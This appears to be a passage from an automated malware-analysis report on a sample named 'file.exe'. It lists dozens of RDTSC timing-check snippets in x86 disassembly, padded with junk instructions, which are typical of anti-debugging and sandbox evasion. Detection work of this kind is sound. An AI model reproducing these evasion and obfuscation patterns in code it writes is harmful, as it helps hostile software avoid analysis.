Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30036E second address: 300384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jp 00007FB6784C8BD6h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30D06C second address: 30D077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30D077 second address: 30D07B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30D07B second address: 30D098 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6F9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30D970 second address: 30D974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3141AD second address: 3141D1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB678E7E6F9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3141D1 second address: 3141DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FB6784C8BD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3141DB second address: 3141F4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB678E7E6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007FB678E7E6E6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 318532 second address: 31853A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CED47 second address: 2CED51 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB678E7E6E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317B0E second address: 317B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317DD4 second address: 317DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB678E7E6E6h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FB678E7E6F3h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 317DF5 second address: 317DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 319F9D second address: 319FA7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 319FA7 second address: 319FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 319FAB second address: 319FAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A01D second address: 31A03A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB6784C8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB6784C8BE1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A03A second address: 31A062 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB678E7E6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d jne 00007FB678E7E6E8h 0x00000013 pop eax 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a jbe 00007FB678E7E6ECh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A3B6 second address: 31A3BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A4F3 second address: 31A4F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A6EA second address: 31A6FC instructions: 0x00000000 rdtsc 0x00000002 je 00007FB6784C8BD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A6FC second address: 31A700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A700 second address: 31A709 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A709 second address: 31A70F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31AE59 second address: 31AE8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6784C8BE7h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FB6784C8BE4h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31AFA7 second address: 31AFBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB678E7E6F0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B2AC second address: 31B2B6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB6784C8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B2B6 second address: 31B2BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B3F5 second address: 31B43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007FB6784C8BDFh 0x0000000d jnp 00007FB6784C8BD6h 0x00000013 popad 0x00000014 jmp 00007FB6784C8BE7h 0x00000019 popad 0x0000001a nop 0x0000001b mov dword ptr [ebp+122D1DAAh], edx 0x00000021 xchg eax, ebx 0x00000022 push eax 0x00000023 je 00007FB6784C8BDCh 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B43C second address: 31B45C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB678E7E6F6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B45C second address: 31B462 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B462 second address: 31B47B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB678E7E6F5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B47B second address: 31B47F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31B8FF second address: 31B908 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31D269 second address: 31D280 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB6784C8BDFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31D280 second address: 31D284 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31F27F second address: 31F285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31EFDF second address: 31EFE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31F285 second address: 31F31D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FB6784C8BE8h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FB6784C8BD8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c jbe 00007FB6784C8BDCh 0x00000032 or dword ptr [ebp+122D1DD0h], ecx 0x00000038 push 00000000h 0x0000003a mov dword ptr [ebp+12462F88h], ebx 0x00000040 push 00000000h 0x00000042 or esi, dword ptr [ebp+1246D5FDh] 0x00000048 xchg eax, ebx 0x00000049 push ecx 0x0000004a jnc 00007FB6784C8BDCh 0x00000050 pop ecx 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FB6784C8BE9h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 320A1C second address: 320A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 320A22 second address: 320A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 320A27 second address: 320A40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB678E7E6F5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 320A40 second address: 320A44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 320A44 second address: 320A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FB678E7E6EAh 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FB678E7E6E8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d xchg eax, ebx 0x0000002e jmp 00007FB678E7E6F8h 0x00000033 push eax 0x00000034 pushad 0x00000035 push edi 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32371D second address: 323739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB6784C8BE3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3212E7 second address: 3212F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3212F0 second address: 3212F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 324C0F second address: 324C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323F5E second address: 323F63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 324C13 second address: 324C19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323F63 second address: 323F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 324C19 second address: 324C2C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007FB678E7E6E8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 324C2C second address: 324C36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FB6784C8BD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 324EBB second address: 324EC0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 325D9C second address: 325DA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 326C84 second address: 326C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007FB678E7E6E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 326C97 second address: 326CA1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB6784C8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 326CA1 second address: 326CB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB678E7E6EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 327D64 second address: 327D8E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB6784C8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jg 00007FB6784C8BD6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FB6784C8BE1h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 327D8E second address: 327E08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007FB678E7E6E8h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 call 00007FB678E7E6EEh 0x00000027 mov edi, 56597CB8h 0x0000002c pop ebx 0x0000002d push 00000000h 0x0000002f mov ebx, dword ptr [ebp+122D1CE9h] 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007FB678E7E6E8h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 0000001Ch 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 add dword ptr [ebp+122D393Ch], ecx 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007FB678E7E6EBh 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 327E08 second address: 327E0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 326F0E second address: 326F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FB678E7E6E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 327E0E second address: 327E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 326F1B second address: 326F3D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB678E7E6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FB678E7E6F2h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 327E12 second address: 327E16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 328E14 second address: 328E1A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 327F88 second address: 327F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 327F8C second address: 327FA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 328090 second address: 3280A7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007FB6784C8BE4h 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007FB6784C8BD6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32A149 second address: 32A14F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32A14F second address: 32A155 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32BD8E second address: 32BE04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FB678E7E6E8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D3937h] 0x0000002a push 00000000h 0x0000002c mov dword ptr [ebp+122D2824h], edi 0x00000032 jne 00007FB678E7E6ECh 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebx 0x0000003d call 00007FB678E7E6E8h 0x00000042 pop ebx 0x00000043 mov dword ptr [esp+04h], ebx 0x00000047 add dword ptr [esp+04h], 00000017h 0x0000004f inc ebx 0x00000050 push ebx 0x00000051 ret 0x00000052 pop ebx 0x00000053 ret 0x00000054 or dword ptr [ebp+122D393Ch], edx 0x0000005a xchg eax, esi 0x0000005b push eax 0x0000005c push edx 0x0000005d push edi 0x0000005e push edx 0x0000005f pop edx 0x00000060 pop edi 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32A155 second address: 32A172 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB6784C8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB6784C8BDEh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32DF6E second address: 32DF78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FB678E7E6E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32ED83 second address: 32ED8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 331CE7 second address: 331CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 331CED second address: 331D0D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB6784C8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007FB6784C8BE1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32E16E second address: 32E19E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB678E7E6EBh 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jc 00007FB678E7E6F7h 0x00000019 jmp 00007FB678E7E6F1h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32E19E second address: 32E1AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB6784C8BDAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32E1AC second address: 32E1B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32BF55 second address: 32BFC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ebx, dword ptr [ebp+122D2F4Fh] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov ebx, 056ABF00h 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 mov dword ptr [ebp+122D1F05h], edx 0x00000029 mov eax, dword ptr [ebp+122D171Dh] 0x0000002f mov dword ptr [ebp+1245FF67h], eax 0x00000035 push FFFFFFFFh 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007FB6784C8BD8h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 0000001Ch 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 mov dword ptr [ebp+124522DBh], esi 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32BFC8 second address: 32BFCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 332F8C second address: 332F90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33520B second address: 335211 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33B8C3 second address: 33B8D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6784C8BE0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33D5FD second address: 33D603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3414B5 second address: 3414CB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jp 00007FB6784C8BD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jbe 00007FB6784C8BD6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341D28 second address: 341D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D7463 second address: 2D746F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007FB6784C8BD6h 0x0000000c rdtsc
